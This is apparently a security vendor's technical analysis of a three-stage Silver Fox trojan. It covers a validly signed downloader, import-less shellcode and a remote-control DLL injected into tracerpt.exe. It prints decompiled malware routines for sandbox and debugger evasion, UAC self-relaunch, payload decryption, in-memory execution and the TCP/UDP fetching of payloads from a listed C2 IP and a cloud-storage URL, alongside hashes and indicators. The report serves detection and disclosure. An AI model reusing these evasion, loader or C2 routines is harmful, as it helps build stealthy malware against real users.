银狐新衣:一张”刚签发”的证书与公共云存储里的三阶段投递链

概述

  近日瑞星威胁情报平台捕获到一起银狐木马的攻击事件。该样本以三阶段递进方式投递:第一阶段为携带正常企业数字签名(上饶市嘉端科技有限公司,签名有效期自2026年8月13日21:21:17起,证书签发时间极新)的WinHTTP下载器,先以三重环境筛选(五项反分析与反调试检测、CPU 核数与内存阈值、强制真实用户交互)加父进程白名单判定,筛除沙箱、虚拟机与分析平台,再runas自提权,随后以RC4解密出载荷地址并经公共云存储平台下载加密载荷;第二阶段为完全不含导入表的shellcode,经PEB走查与双算法哈希解析17个API,从C2拉取第三阶段载荷;第三阶段为中文远控模块,在内存中被反射加载后上线,并以CREATE_SUSPENDED启动系统进程tracerpt.exe完成RIP劫持注入与守护重生。

  其隐蔽性集中在三点:以正常企业签名获取信任,可绕过以"未签名或低信誉"为判据的粗粒度拦截;以公共云存储平台承载载荷(某云客服平台的会话附件存储桶),下载流量与正常业务附件无异,且该域名承载大量正常业务、不宜按域封禁;载荷全程不落盘,导入表、字符串与文件落地等传统检测面同时失效。

攻击流程

image

样本分析

第一阶段:合法数字签名掩护的 WinHTTP 自注入加载器

字段 内容
原始文件名 000888888757574.exe
文件大小 155.9 KB
文件MD5 7f6ef2981a3e4f88f9e8d1571cd1103c
文件类型 EXE
病毒名 Trojan.Injector!1.147FE
主要功能 环境检测与 UAC 自提权后,解密内嵌载荷地址并下载载荷,在自身进程内解密执行
单实例控制(命名互斥体 Global\SessionMutex_99x)

  互斥体名Global\SessionMutex_99x不出现在任何字符串表中,而是在栈上以立即数逐WCHAR构造:

  该互斥体仅用于标记已有实例在运行,不承担互斥加锁职责:创建时dwFlags传0,即不请求初始所有权,样本既不占用也不等待该对象;同时句柄在每条退出路径上均会被CloseHandle释放。因此在runas自提权重启场景下,旧实例会先释放句柄再退出,待用户完成UAC确认、新实例实际启动时互斥体已不存在,新实例不会被旧实例阻塞:

// 单实例互斥体:名称逐 WCHAR 写栈,字符串表中无 "Global\SessionMutex_99x"
WCHAR szMutexName[24];                       // 23 字符 + NUL,共 48 字节

szMutexName[0]  = L'G'; szMutexName[1]  = L'l'; szMutexName[2]  = L'o';
szMutexName[3]  = L'b'; szMutexName[4]  = L'a'; szMutexName[5]  = L'l';
szMutexName[6]  = L'\\'; szMutexName[7] = L'S'; szMutexName[8]  = L'e';
szMutexName[9]  = L's'; szMutexName[10] = L's'; szMutexName[11] = L'i';
szMutexName[12] = L'o'; szMutexName[13] = L'n'; szMutexName[14] = L'M';
szMutexName[15] = L'u'; szMutexName[16] = L't'; szMutexName[17] = L'e';
szMutexName[18] = L'x'; szMutexName[19] = L'_'; szMutexName[20] = L'9';
szMutexName[21] = L'9'; szMutexName[22] = L'x'; szMutexName[23] = L'\0';

// dwFlags=0(不请求初始所有权),dwDesiredAccess=MUTEX_ALL_ACCESS
hMutex = CreateMutexExW(0, szMutexName, 0, 0x1F0001);
if ( hMutex && GetLastError() == ERROR_ALREADY_EXISTS )   // 183
{
    CloseHandle(hMutex);
    return 0;                                             // 静默退出,不提示用户
}
环境筛选(沙箱规避 + 反调试)

  SandboxGate_RequireUserInteraction是第一阶段样本的反分析总闸门,也是该样本“环境检测”能力的主体:它不承担任何业务逻辑,唯一职责是判定当前宿主究竟是真实用户主机,还是沙箱、虚拟机与分析平台。检测按反分析检测、硬件资源与真实用户交互三层依次执行,任一层不通过即直接返回:


char SandboxGate_RequireUserInteraction(void)
{
    if ( CheckTiming_RdtscPerfThreshold()          // RDTSC 计时
      || IsDebuggerPresent_PEB()                   // PEB.BeingDebugged
      || IsWineOrEmulated_PebCheck()               // PEB+0x68 模拟环境位
      || IsDebuggerPresent_HardwareBreakpoints()   // Dr0-Dr3 硬件断点
      || CheckVMwareVBoxRegistry() )               // VMware/VirtualBox 注册表
        return 1;

    GetSystemInfo(&sysInfo);
    GlobalMemoryStatusEx(&memStatus);
    if ( sysInfo.dwNumberOfProcessors < 2 ||       // CPU 核数 < 2
         memStatus.ullTotalPhys < 0x80000000 )     // 物理内存 < 2 GiB
        return 1;                                  // 判为沙箱环境

    // 强制真实用户交互:60 秒内需出现 >5px 光标位移且按下过鼠标键
    GetCursorPos(&ptBase);
    do
    {
        if ( dwElapsedMs >= 60000 ) break;
        SleepEx(100, FALSE);                       // 600 次 × 100ms 轮询
        dwElapsedMs += 100;
        if ( GetAsyncKeyState(VK_LBUTTON) < 0 || GetAsyncKeyState(VK_RBUTTON) < 0 )
            bMouseButtonDown = 1;
        if ( GetCursorPos(&ptNow) )
        {
            dMoveDistance = sqrt( MsPow_Int_Int(ptNow.x - ptBase.x, 2)
                                + MsPow_Int_Int(ptNow.y - ptBase.y, 2) );
            if ( dMoveDistance > 5.0 )             // 位移阈值 5.0 像素
            {
                ++cMouseMoves;
                ptBase = ptNow;
            }
        }
    }
    while ( cMouseMoves < 1 || !bMouseButtonDown );

    return ( cMouseMoves >= 1 && bMouseButtonDown ) ? 0 : 1;
}

  第一项检测以RDTSC测量1000次整数循环的耗时,与2000周期(0x7D0)阈值比较,用以识别被插桩或降频运行的仿真环境:

// RDTSC 计时检测:1000 次循环耗时 < 2000 周期即判为可疑环境
bool CheckTiming_RdtscPerfThreshold(void)
{
    UINT64 tsStart = __rdtsc();
    int    unusedChecksum = 0;

    for ( int i = 0; i < 1000; i++ )
        unusedChecksum = (4 * i) ^ (7 * i % 13 + unusedChecksum);

    return (__rdtsc() - tsStart) < 0x7D0;
}

  第二项与第三项检测均直读PEB,不使用kernel32!IsDebuggerPresent,从而规避对该导出函数的API Hook:

// 直读 PEB 的标志位判定调试与模拟环境
bool IsDebuggerPresent_PEB(void)
{
    return NtCurrentPeb()->BeingDebugged != 0;          // PEB+0x2
}

bool IsWineOrEmulated_PebCheck(void)
{
    return ((ULONG_PTR)NtCurrentPeb()->ApiSetMap & 0x70) != 0;   // PEB+0x68
}

  第四项检测以GetThreadContext读取调试寄存器,Dr0–Dr3任一非零即判定存在硬件断点:

// 硬件断点检测:读取 CONTEXT_DEBUG_REGISTERS 的 Dr0-Dr3
bool IsDebuggerPresent_HardwareBreakpoints(void)
{
    CONTEXT ctx;

    memset(&ctx, 0, sizeof(ctx));                       // 内联 rep stosb 清零 0x4D0 字节
    ctx.ContextFlags = 0x100010;                        // CONTEXT_AMD64 | CONTEXT_DEBUG_REGISTERS
    if ( !GetThreadContext(GetCurrentThread(), &ctx) )
        return FALSE;
    return ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3;
}

  第五项检测(虚拟机注册表探测)不依赖静态导入的advapi32,而是运行时取句柄并解析注册表接口,探测两个虚拟机特征键:

// 虚拟机注册表探测:动态解析 advapi32!RegOpenKeyExW / RegCloseKey
char CheckVMwareVBoxRegistry(void)
{
    HMODULE hAdvapi32 = NULL;
    FARPROC pRegOpenKeyExW, pRegCloseKey;
    HKEY    hKey;

    GetModuleHandleExW(0, L"advapi32.dll", &hAdvapi32);
    if ( !hAdvapi32 ) return 0;
    pRegOpenKeyExW = GetProcAddress(hAdvapi32, "RegOpenKeyExW");
    pRegCloseKey   = GetProcAddress(hAdvapi32, "RegCloseKey");
    if ( !pRegOpenKeyExW || !pRegCloseKey ) return 0;

    if ( pRegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\VMware\\VMware Tools",
                        0, KEY_READ, &hKey) == ERROR_SUCCESS )
    {
        pRegCloseKey(hKey);
        return 1;
    }
    if ( pRegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Oracle\\VirtualBox",
                        0, KEY_READ, &hKey) == ERROR_SUCCESS )
    {
        pRegCloseKey(hKey);
        return 1;
    }
    return 0;
}

  样本另内置一套父进程白名单判定逻辑:以动态解析的NtQueryInformationProcess(ProcessBasicInformation)读取父进程PID,打开后取完整映像路径并截取文件名,与explorer.exe、svchost.exe、services.exe、winlogon.exe、lsass.exe五个系统进程名比对,命中任一即返回0;全部不匹配则返回1,判定为疑似沙箱或调试器宿主:

// 父进程白名单判定:取父进程映像名并与系统进程名比对
char CheckParentProcessWhitelist(void)
{
    HMODULE hNtdll = NULL;
    FARPROC pNtQueryInformationProcess;
    PROCESS_BASIC_INFORMATION pbi;
    WCHAR   szParentImagePath[MAX_PATH];
    DWORD   dwExeNameSize = 260;
    HANDLE  hParentProcess;

    GetModuleHandleExW(0, L"ntdll.dll", &hNtdll);
    if ( !hNtdll ) return 0;
    pNtQueryInformationProcess = GetProcAddress(hNtdll, "NtQueryInformationProcess");
    if ( !pNtQueryInformationProcess ) return 0;

    memset(&pbi, 0, sizeof(pbi));
    if ( pNtQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation,
                                    &pbi, sizeof(pbi), NULL) )
        return 0;
    if ( !pbi.InheritedFromUniqueProcessId )
        return 0;

    hParentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,
                                 (DWORD)pbi.InheritedFromUniqueProcessId);
    if ( !hParentProcess ) return 0;

    memset(szParentImagePath, 0, sizeof(szParentImagePath));
    if ( QueryFullProcessImageNameW(hParentProcess, 0, szParentImagePath, &dwExeNameSize) )
    {
        WCHAR *pszName = wcsrchr(szParentImagePath, L'\\');
        pszName = pszName ? pszName + 1 : szParentImagePath;
        // 白名单:explorer / svchost / services / winlogon / lsass
        // 五项全部不匹配(_wcsicmp 非 0 表示不等)→ 父进程非常规系统进程
        if ( _wcsicmp(pszName, L"explorer.exe") && _wcsicmp(pszName, L"svchost.exe")
          && _wcsicmp(pszName, L"services.exe") && _wcsicmp(pszName, L"winlogon.exe")
          && _wcsicmp(pszName, L"lsass.exe") )
        {
            CloseHandle(hParentProcess);
            return 1;                                    // 不在白名单:疑似沙箱或调试器宿主
        }
    }
    CloseHandle(hParentProcess);
    return 0;
}
权限提升(runas 自重启 + 隐藏窗口)

  环境检测通过后,样本以OpenProcessToken与GetTokenInformation(TokenElevation)判定自身是否具备管理员令牌;未提权则以runas重启自身,请求系统弹出UAC,且新实例以隐藏窗口方式运行:

// 提权状态判定:TokenElevation
bool IsProcessElevated(void)
{
    HANDLE hToken;
    DWORD  tokenIsElevated = 0, dwReturnLength = 0;

    if ( OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken) )
    {
        GetTokenInformation(hToken, TokenElevation, &tokenIsElevated,
                            sizeof(tokenIsElevated), &dwReturnLength);
        CloseHandle(hToken);
    }
    return tokenIsElevated != 0;
}

  RelaunchSelfElevated_RunAs以lpVerb="runas"、lpFile为自身路径把提权请求交给系统,新实例以SW_HIDE隐藏窗口启动。其中"runas"动词同样逐WCHAR在栈上构造(字符串表中无该动词),SHELLEXECUTEINFOW自fMask起被整体清零,既不取新进程句柄,也不等待其执行结果:

// 自我提权重启:runas + SW_HIDE
BOOL RelaunchSelfElevated_RunAs(void)
{
    SHELLEXECUTEINFOW sei;
    WCHAR szSelfPath[MAX_PATH];
    WCHAR szVerbRunas[8];

    GetModuleFileNameW(NULL, szSelfPath, 0x104);

    // 逐 WCHAR 在栈上构造 L"runas",不出现在字符串表
    szVerbRunas[0] = L'r'; szVerbRunas[1] = L'u'; szVerbRunas[2] = L'n';
    szVerbRunas[3] = L'a'; szVerbRunas[4] = L's'; szVerbRunas[5] = L'\0';

    sei.cbSize = sizeof(sei);
    memset(&sei.fMask, 0, 0x6C);
    sei.lpVerb = szVerbRunas;                          // 请求 UAC 提权
    sei.lpFile = szSelfPath;
    sei.nShow  = SW_HIDE;
    return ShellExecuteExW(&sei);
}
载荷下载地址还原(栈上常量块 + RC4 / SecKey99)

  提权后的实例进入主体逻辑,第一步还原第二阶段载荷的下载地址。204字节常量(8字节密钥"SecKey99" + 196字节密文)以逐字节立即数写栈的方式构造,不在字符串表与数据段中留下可扫描痕迹:

  解密时把密文段复制到堆副本,以栈上的8字节密钥调用RC4,完成后将栈上密钥清零:

// 解密内嵌常量块,还原第二阶段载荷下载地址
// 注:函数名中的 C2Url 实指载荷分发地址,非 C2 指令通道
void *DecryptEmbeddedC2Url(void *pOut)
{
    BYTE  keyAndCipherBlob[204];
    BYTE *pHeapCopy;

    pHeapCopy = malloc(0xC4);
    if ( !pHeapCopy )
        return NULL;

    memmove(pHeapCopy, &keyAndCipherBlob[8], 0xC4);
    RC4CryptInPlace(pHeapCopy, 0xC4, keyAndCipherBlob, 8);
    memmove(pOut, pHeapCopy, 0xC4);
    free(pHeapCopy);
    return ZeroBuffer_RepStosb(keyAndCipherBlob, 8);
}

  RC4CryptInPlace为标准RC4实现,S盒开在栈上;密钥编排(KSA)与教科书一致,故只保留密钥流生成(PRGA):

// RC4 流密码(KSA + PRGA)
UINT RC4CryptInPlace(BYTE *data, UINT data_len, const BYTE *key, UINT key_len)
{
    BYTE S[256];
    int  i, j;
    UINT k;

    // KSA:S 盒初始化为 0..255,再按 key 做 256 轮混洗(标准实现,省略)
    // ...

    // PRGA:逐字节取 S[(S[i] + S[j]) & 0xFF] 与明文字节异或
    for ( j = 0, i = 0, k = 0; k < data_len; k++ )
    {
        i = (i + 1) & 0xFF;
        j = (j + S[i]) & 0xFF;
        BYTE t = S[i]; S[i] = S[j]; S[j] = t;
        data[k] ^= S[(S[i] + S[j]) & 0xFF];
    }
    return data_len;
}

  解密结果为hxxps://cik07-cos[.]7moor-fs2[.]com/im/4d2c3f00-7d4c-11e5-af15-41bf63ae4ea0/41637ea9a680f60f/7180[.]txt,解密完成后栈上的8字节密钥副本立即被清零。该URL指向云客服平台7moor的会话附件存储桶,/im///这一路径形态即聊天窗口上传的附件,内容由该平台的租户/访客上传,因此该域名不宜按域封禁。

载荷下载(运行时解析 WinHTTP + HTTPS GET)

  样本的静态导入表不含winhttp/wininet/ws2_32,网络能力全部在运行时取得:

// 运行时取得 WinHTTP 全套接口(静态导入表无 winhttp)
hWinHttp = LoadLibraryExW(L"winhttp.dll", NULL, 0);
pWinHttpCrackUrl           = GetProcAddress(hWinHttp, "WinHttpCrackUrl");
pWinHttpOpen               = GetProcAddress(hWinHttp, "WinHttpOpen");
pWinHttpConnect            = GetProcAddress(hWinHttp, "WinHttpConnect");
pWinHttpOpenRequest        = GetProcAddress(hWinHttp, "WinHttpOpenRequest");
pWinHttpSendRequest        = GetProcAddress(hWinHttp, "WinHttpSendRequest");
pWinHttpReceiveResponse    = GetProcAddress(hWinHttp, "WinHttpReceiveResponse");
pWinHttpQueryDataAvailable = GetProcAddress(hWinHttp, "WinHttpQueryDataAvailable");
pWinHttpReadData           = GetProcAddress(hWinHttp, "WinHttpReadData");
pWinHttpCloseHandle        = GetProcAddress(hWinHttp, "WinHttpCloseHandle");

  请求方法为GET、User-Agent为截断式Mozilla/5.0(无浏览器版本与平台信息),下载目标以.txt为扩展名伪装成文本资源。

// 下载链:拆解 URL → 建立会话 → HTTPS GET → 循环读取响应体
DecryptEmbeddedC2Url(szUrl);
pWinHttpCrackUrl(szUrl, 0, 0, &urlComponents);

WCHAR wszUserAgent[] = L"Mozilla/5.0";                 // 截断式 UA
hSession = pWinHttpOpen(wszUserAgent, 0, 0, 0, 0);
hConnect = pWinHttpConnect(hSession, szHost, (WORD)urlComponents.nPort, 0);

dwFlags = ( urlComponents.nScheme == INTERNET_SCHEME_HTTPS ) ? WINHTTP_FLAG_SECURE : 0;
hRequest = pWinHttpOpenRequest(hConnect, L"GET", szPath, NULL, NULL, NULL, dwFlags);

if ( pWinHttpSendRequest(hRequest, NULL, 0, NULL, 0, 0, 0)
  && pWinHttpReceiveResponse(hRequest, NULL) )
{
    for ( ;; )
    {
        if ( !pWinHttpQueryDataAvailable(hRequest, &dwAvail) || !dwAvail )
            break;
        InitBufferThenFill(&bufChunk, dwAvail, NULL);
        pWinHttpReadData(hRequest, GetBufferRangeBegin(&bufChunk), dwAvail, &dwRead);
    }
}
载荷执行(索引相关 XOR 解密 → RW→RX → 本进程直接调用)

  下载缓冲区经非空校验后交由LoadAndExecutePayload_SelfInject执行,其内存操作序列为:分配RW区 → 写入密文 → 原地解密 → 改为RX → 直接调用。三个内存原语均在运行时从ntdll.dll解析:

// 自身进程内反射式执行:RW 分配 → 写入 → 解密 → RX → call [T1620]
__int64 LoadAndExecutePayload_SelfInject(void **pCtx)
{
    void   *pPayloadBase = NULL;
    SIZE_T  cbPayload, cbWritten = 0;
    int     oldProtect = 0, ntStatus;
    FARPROC pNtAllocateVirtualMemory, pNtWriteVirtualMemory, pNtProtectVirtualMemory;

    pNtAllocateVirtualMemory  = ResolveNtdllProc("NtAllocateVirtualMemory");
    pNtProtectVirtualMemory   = ResolveNtdllProc("NtProtectVirtualMemory");
    pNtWriteVirtualMemory     = ResolveNtdllProc("NtWriteVirtualMemory");
    if ( !pNtAllocateVirtualMemory || !pNtProtectVirtualMemory )
        return 0;

    cbPayload = GetBufferRangeSize(pCtx);
    ntStatus = pNtAllocateVirtualMemory(GetCurrentProcess(), &pPayloadBase, 0,
                                        &cbPayload, MEM_COMMIT | MEM_RESERVE,
                                        PAGE_READWRITE);
    if ( ntStatus || !pPayloadBase )
        return 0;

    if ( pNtWriteVirtualMemory )
    {
        cbPayload = GetBufferRangeSize(pCtx);
        if ( pNtWriteVirtualMemory(GetCurrentProcess(), pPayloadBase,
                                   GetBufferRangeBegin(pCtx), cbPayload, &cbWritten) )
            return 0;
    }
    else
    {
        memmove(pPayloadBase, GetBufferRangeBegin(pCtx), GetBufferRangeSize(pCtx));
    }

    DecryptBuffer_IndexedXor(pPayloadBase, GetBufferRangeSize(pCtx));   // 解密

    cbPayload = GetBufferRangeSize(pCtx);
    ntStatus = pNtProtectVirtualMemory(GetCurrentProcess(), &pPayloadBase, &cbPayload,
                                       PAGE_EXECUTE_READ, &oldProtect);
    if ( ntStatus )
    {
        SIZE_T cbZero = 0;
        pNtAllocateVirtualMemory(GetCurrentProcess(), &pPayloadBase, 0, &cbZero,
                                 MEM_RELEASE, PAGE_NOACCESS);
        return 0;
    }

    return ((__int64 (*)(void))pPayloadBase)();       // 直接调用载荷入口
}

  载荷使用自定义XOR解密,密钥由每个字节的索引位置计算得出,不需要额外的密钥:

// 索引相关 XOR:key_byte 仅由索引 i 推出,无密钥表
// 密钥流前 16 字节:87 C3 98 A5 D2 7F BF B4 0D 49 FB 5F EC CF 19 27
// 该特征可用于同族样本快速判定
UINT64 DecryptBuffer_IndexedXor(BYTE *pBuf, UINT64 cbBuf)
{
    for ( UINT64 i = 0; i < cbBuf; i++ )
    {
        DWORD k1 = (DWORD)((i + 1) * 0x6E5D228F) ^ 0x8E4D9F88;
        DWORD r  = (k1 << 7) | (k1 >> 25);        // ROL32(k1, 7)
        DWORD a  = 0x6E5D228F >> (i % 5);
        DWORD b  = 0x8E4D9F88 << (i % 9);
        DWORD V  = r ^ a ^ b;

        pBuf[i] ^= (BYTE)((V ^ (V >> 16) ^ (V >> 8)) & 0xFF);
    }
    return cbBuf;
}

第二阶段:无导入表哈希自解析的载荷拉取器

字段 内容
文件大小 2.93 KB
文件MD5 909ec32ff0b1b4e8b1995afad83760bb
病毒名 Backdoor.SilverFox/x64!1.104D7
主要功能 解析内嵌配置定位C2,经TCP/UDP双通道下载第三阶段载荷,解密后在内存中直接执行
加载与API解析(PEB 走查 + 双算法哈希)

  该模块没有导入表,所有 API 地址都在运行时自己找。先从线程环境块中读取出PEB指针,顺着已加载模块链表找到kernel32.dll的基址,再在其导出表中按哈希值搜索GetProcAddress和LoadLibraryA,拿到这两个核心函数后,就可以加载其他模块、解析任意 API 了。整个过程用到的 API 列表如下:

模块 解析的 API
kernel32 GetProcAddress、LoadLibraryA、VirtualAlloc、VirtualFree、lstrcmpiA
ntdll RtlZeroMemory、RtlMoveMemory
ws2_32 WSAStartup、socket、getaddrinfo、freeaddrinfo、htons、connect、send、recv、closesocket、WSACleanup

  模块名和 API 名的搜索都用了哈希算法,但算法略有不同:查找模块名时把字母转成大写再算哈希(大小写不敏感),查找 API 名时保持原始大小写。两者的共同点是都用一个固定公式(h = h * 131 + 字符值)累计计算。以模块名哈希为例:

// 模块名哈希(大小写不敏感):h = h*131 + (WCHAR 转大写)
hash = 0;
for ( i = 0; i < modNameLen; i++ )
{
    c = BaseDllName.Buffer[i];
    if ( c >= 0x61 )             // 小写字母转大写
        c -= 0x20;
    hash = c + 131 * hash;
}
if ( (hash & 0x7FFFFFFF) == 0x1CCA9CE6 )   // 命中 "kernel32.dll"
    pKernel32Base = pLdrEntry->DllBase;

  网络库Ws2_32.dll的名字同样不以明文出现,而是在栈上用几条立即数写入拼出:

// 栈上拼出 "Ws2_32.dll"
*(DWORD *)(szWs2 + 0) = 0x5F327357;      // "Ws2_"
*(DWORD *)(szWs2 + 4) = 0x642E3233;      // "32.d"
*(WORD  *)(szWs2 + 8) = 0x6C6C;          // "ll"
*(WORD  *)(szWs2 + 10) = 0;
hWs2 = LoadLibraryA(szWs2);              // 静态导入表中无 Ws2_32.dll
配置发现(codemark 标记自定位)

  shellcode没有PE资源节可用于存放参数,因此以8字节文本标记codemark在自身映像内逐字节自定位,命中位置即配置块起点(本样本偏移0xA20),扫描上限21000(0x5208)字节。代码按长度字段与偏移量逐项读取该配置块,各字段的大小与用途如下:

偏移 大小 实测值 含义 代码读取位置
+0 8 "codemark" 配置块定位标记 搜索循环
+8 … +31 24 全 00 预留(版本/扩展位) —
+32 4 0F 00 00 00 = 15 主机串 1 长度 VirtualAlloc / RtlZeroMemory 大小
+36 4 98 06 00 00 = 1688 端口 1 第 1 路的 htons 入参
+40 4 01 00 00 00 = 1 flag1:通道类型(≠0 = TCP 流式,=0 = UDP 分块) 通道调度分支
+44 4 0F 00 00 00 = 15 主机串 2 长度 第二段 VirtualAlloc 大小
+48 4 60 07 00 00 = 1888 端口 2 第 2 路的 htons 入参
+52 4 01 00 00 00 = 1 flag2:第 2 路的通道类型 通道调度分支
+56 15 "102.134.35.246\0" 主机串 1 getaddrinfo 入参(第 1 路)
+71 15 "102.134.35.246\0" 主机串 2 getaddrinfo 入参(第 2 路)
+86 318 字符倒序 UTF-16 配置串 端点清单(见下) 作为参数传给第三阶段入口

  配置块+86起为一段以UTF-16LE存放、字符级倒序的配置串。倒序还原后的内容如下:

|p1:102.134.35.246|o1:1688|t1:1|p2:102.134.35.246|o2:1888|t2:1|p3:102.134.35.246|o3:88|t3:1|dd:1|cl:1|fz:默认|bb:1.0|bz:9.18|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

  该配置串与前述dword字段构成相互独立的双重验证:p1/p2与两份"102.134.35.246"一致,o1:1688/o2:1888与配置块中的端口精确一致,t1/t2与flag1/flag2一致;第三组端点p3/o3:88/t3在本shellcode中无代码路径引用。

通道调度(按 flag 选择,TCP 优先 / UDP 兜底)

  调度循环先处理第 1 路、再处理第 2 路,随后无条件回到循环开头,无计数器、无退避:

    // WSAStartup 成功(返回 0)后进入双通道调度
    if ( WSAStartup(MAKEWORD(2, 2), &wsaData) == 0 )
    {
        for ( ;; )
        {
            if ( cfg->flag1 )
                DownloadStream_DecryptExec(1, ctx);    // 第 1 路:TCP 流式,端口 1688
            else
                DownloadChunked_RetryExec(1, ctx);     // 第 1 路:UDP 分块

            if ( cfg->flag2 )
                DownloadStream_DecryptExec(2, ctx);    // 第 2 路:同一主机,端口 1888
            else
                DownloadChunked_RetryExec(2, ctx);
        }
    }
TCP流式通道(3 字节握手 → 定量接收 → 变体 XOR → 直接执行)

  TCP通道先建立连接、发送3字节握手串"64",再循环接收并追加到RWX载荷缓冲区,累计达到固定阈值307214(0x4B00E)字节后触发解密:

// TCP 流式通道:连接 → 3 字节握手 → 循环接收至固定阈值
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
ctx->hSocket = sock;

ctx->pPayloadBuf = VirtualAlloc(NULL, 524302, MEM_COMMIT | MEM_RESERVE,
                                PAGE_EXECUTE_READWRITE);

pHost = ( a3 == 1 ) ? ctx->pszHost1 : ctx->pszHost2;
getaddrinfo(pHost, NULL, NULL, &pAddrInfo);
memcpy(&ctx->saRemote, pAddrInfo->ai_addr, sizeof(ctx->saRemote));
ctx->saRemote.sin_port = htons( a3 == 1 ? cfg->port1 : cfg->port2 );
connect(sock, (SOCKADDR *)&ctx->saRemote, sizeof(ctx->saRemote));

strcpy(szHandshake, "64");                              // 3 字节握手标识
send(sock, szHandshake, 3, 0);

pRxBuf = VirtualAlloc(NULL, 317440, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
cbTotal = 0;
while ( (n = recv(sock, pRxBuf, 102400, 0)) > 0 )
{
    RtlMoveMemory(ctx->pPayloadBuf + cbTotal, pRxBuf, n);
    cbTotal += n;
    if ( cbTotal == 307214 )
        break;
}

  解密为变体XOR:密钥块取自同一数据流头部偏移+4到+13这10个字节(含两端)的明文,写指针从+14起线性推进,密钥索引以10字节为周期循环:

// 变体 XOR:cipher[i] ^= ((7 * key[j] + 0x1F) ^ 0x77)
// 密钥块 = 帧头偏移 +4 到 +13 的 10 字节明文(含两端);j = (i == 0) ? 0 : (i - 1) % 10
pPlain = ctx->pPayloadBuf + 14;
ctx->pPayloadBuf = pPlain;
for ( i = 0; i < 307214; i++ )
{
    j = ( i == 0 ) ? 0 : ( i - 1 ) % 10;
    keyByte = pPlain[j - 10];
    pPlain[i] ^= (BYTE)((7 * keyByte + 0x1F) ^ 0x77);
}
UDP分块通道(5 字节请求 / 109 字节响应,60 次重试)

  当flag为0时改用基于UDP的分块拉取通道:套接字以SOCK_DGRAM/IPPROTO_UDP创建并connect为已连接UDP套接字,请求报文固定5字节。响应处理由长度驱动,并按首字节与索引回显做完整性校验:

// UDP 分块请求构造与响应处理(长度驱动 + 首字节/索引/总长度三重校验)
reqBuf = VirtualAlloc(NULL, 200, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(reqBuf,     &tag,    1);       // tag = 0x32('2')
RtlMoveMemory(reqBuf + 1, &curIdx, 4);       // 块索引(小端 dword)
if ( send(sock, reqBuf, 5, 0) != 5 )
    goto ABANDON_CONNECTION;                 // 未发满 5 字节即放弃本连接

n = recv(sock, reqBuf, 200, 0);
if ( curIdx > 0 && curIdx > lastIdx )
    goto LAUNCH;
if ( n == -1 )      break;
if ( n == 12 )      continue;                    // 12 字节控制报文:重发当前块
if ( n == 16 )      break;                       // 16 字节控制报文:放弃本连接
if ( n != 109 )     continue;

RtlMoveMemory(&respTag, reqBuf,     1);
RtlMoveMemory(&echoIdx, reqBuf + 1, 4);
if ( respTag != 0x32 || echoIdx != curIdx )
    continue;

RtlMoveMemory(&respTotal, reqBuf + 105, 4);
if ( curIdx == 0 )
{
    totalLen = respTotal;
    lastIdx  = totalLen / 100 - ( totalLen % 100 == 0 );
}
else if ( respTotal != totalLen )
    break;

RtlMoveMemory(ctx->pPayloadBuf + 100 * echoIdx,
              reqBuf + 5, 100);
if ( curIdx == lastIdx )
    goto LAUNCH;
curIdx++;

  该通道的重试与容错参数如下:

参数 取值 代码判据
单块最大重试次数 60 重试计数 > 60 即放弃当前连接
最大连接次数 15 连接计数 >= 15 即整体退出
请求报文 5 字节 0x32 + 块索引 u32 LE
数据响应 109 字节 0x32 + 索引回显4字节 + 数据100字节 + 总长度4字节
控制响应 12 / 16 字节 12 = 重发当前块;16 = 放弃当前连接
块大小 100 字节 写入偏移 = 100 * 块索引
载荷布局(14 字节头 + 反射加载桩 + 内嵌 DLL)

  TCP通道收满的307214字节由14字节头部与307200字节载荷构成(UDP通道按100字节块组装)。TCP协议在流头部以4字节小端回传总长度0x0004B00E,与代码中的接收阈值、14字节头部偏移完全吻合。载荷内部布局如下:

偏移 长度(字节) 内容
0x000000 – 0x0006D1 1745 反射加载桩与加载器主体:入口 jmp 0x448,0x448 起为加载器主体(PEB遍历与同族哈希解析)
0x0006D1 – 0x020ED1 133120 内嵌完整x64 DLL(上线模块.dll)
0x020ED1 – 0x04B000 172335 全零填充,凑齐固定的300 KB载荷大小

  载荷内加载器主体与第二阶段shellcode使用完全相同的哈希算法与常量,是三段投递链同源的直接证据:加载器主体同样以gs:[0x60]直读PEB,并以h = h*131 + c 逐字符计算哈希,随后以偏移0x8处的哈希解析器解析API,所用常量与第二阶段逐一对应:

哈希常量 对应符号
0x1CCA9CE6 kernel32.dll(模块名哈希)
0x1AB9B854 GetProcAddress
0x7F201F78 LoadLibraryA

第三阶段:注入 tracerpt.exe 的中文远控上线模块

字段 内容
原始文件名 上线模块.dll
文件大小 130 KB
文件MD5 752c7d381c203e35656921fae1a1775f
文件类型 DLL
病毒名 Backdoor.PoisonMouse!1.EEEE
主要功能 解析倒序C2配置,三路轮换上线,接收载荷并注入tracerpt.exe
配置解析(倒序配置串 + 注册表回退)

  导出函数load接收宿主传入的倒序宽字符串配置,无长度校验地memmove到全局缓冲区后调用ParseC2Config_FromStringAndRegistry解析:

// 导出 load:宿主C2配置入口
void __fastcall load(const WCHAR *wszCfgReversed)
{
    int cchCfg;

    if ( !g_hWorkerThread )                          
    {
        cchCfg = lstrlenW(wszCfgReversed);
        memmove(g_wszConfigRaw, wszCfgReversed, 2 * cchCfg + 2);
        ParseC2Config_FromStringAndRegistry();
        g_hWorkerThread = CreateThread(0, 0, C2_MainLoop_StartAddress, 0, 0, 0);
        WaitForSingleObject(g_hWorkerThread, INFINITE);
        CloseHandle(g_hWorkerThread);
    }
}

  配置解析器对全局缓冲区整体执行wcsrev倒序还原,随后按|分隔符与字段前缀逐项解析。配置串字段含义如下:

字段前缀 语义 示例值
p1:/p2:/p3: C2主机(三路) 102.134.35.246
o1:/o2:/o3: C2端口(三路) 1688/1888/88
t1:/t2:/t3: 协议位(1=TCP) 1
dd: 首次上线延迟(秒) —
cl: 重连间隔(秒) —
kl: 注入守护开关 1=常驻守护
fz: 分组 默认
bb: 版本 1.0
